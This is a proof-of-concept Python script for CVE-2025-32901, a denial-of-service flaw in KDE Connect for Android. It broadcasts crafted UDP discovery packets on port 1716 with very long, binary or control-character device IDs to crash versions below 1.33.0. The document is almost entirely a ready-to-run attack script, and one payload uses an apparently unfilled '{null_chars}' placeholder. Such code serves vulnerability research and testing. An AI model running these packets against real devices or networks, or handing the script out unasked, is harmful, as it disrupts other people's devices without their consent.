CVE-2025-32901 KDE Connect Android拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-32901 PoC - KDE Connect Android DoS This script sends malicious UDP broadcast packets with crafted device IDs to trigger application crash in KDE Connect < 1.33.0 """ import socket import struct import json import time import sys def create_malicious_packet(device_id): """ Create a malicious KDE Connect discovery packet with crafted device ID """ # KDE Connect uses JSON over UDP for device discovery packet = { "id": device_id, "type": "device", "protocolVersion": 7, "deviceName": "MaliciousDevice", "deviceId": device_id, "tcpPort": 1716, "incomingCapabilities": ["kdeconnect.battery", "kdeconnect.notification"], "outgoingCapabilities": ["kdeconnect.battery", "kdeconnect.notification"] } return json.dumps(packet).encode('utf-8') def send_udp_broadcast(target_ip, port, packet, count=1): """ Send UDP broadcast packet to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.settimeout(5) try: for i in range(count): sock.sendto(packet, (target_ip, port)) print(f"[*] Sent malicious packet {i+1}/{count}") time.sleep(0.1) finally: sock.close() def main(): if len(sys.argv) < 2: target_ip = "<broadcast>" # Default broadcast address else: target_ip = sys.argv[1] port = 1716 # KDE Connect default port # Test with various malicious device IDs malicious_ids = [ "A" * 10000, # Extremely long device ID "\x00\x01\x02" * 1000, # Binary data "{null_chars}" + "B" * 5000, # With null bytes "\n\r\t" * 2000, # Special characters ] print("[*] CVE-2025-32901 PoC - KDE Connect Android DoS") print(f"[*] Target: {target_ip}:{port}") print("[*] Sending malicious packets...") for malicious_id in malicious_ids: print(f"[*] Testing with device ID length: {len(malicious_id)}") packet = create_malicious_packet(malicious_id) send_udp_broadcast(target_ip, port, packet, count=5) time.sleep(1) print("[+] Attack completed") if __name__ == "__main__": main()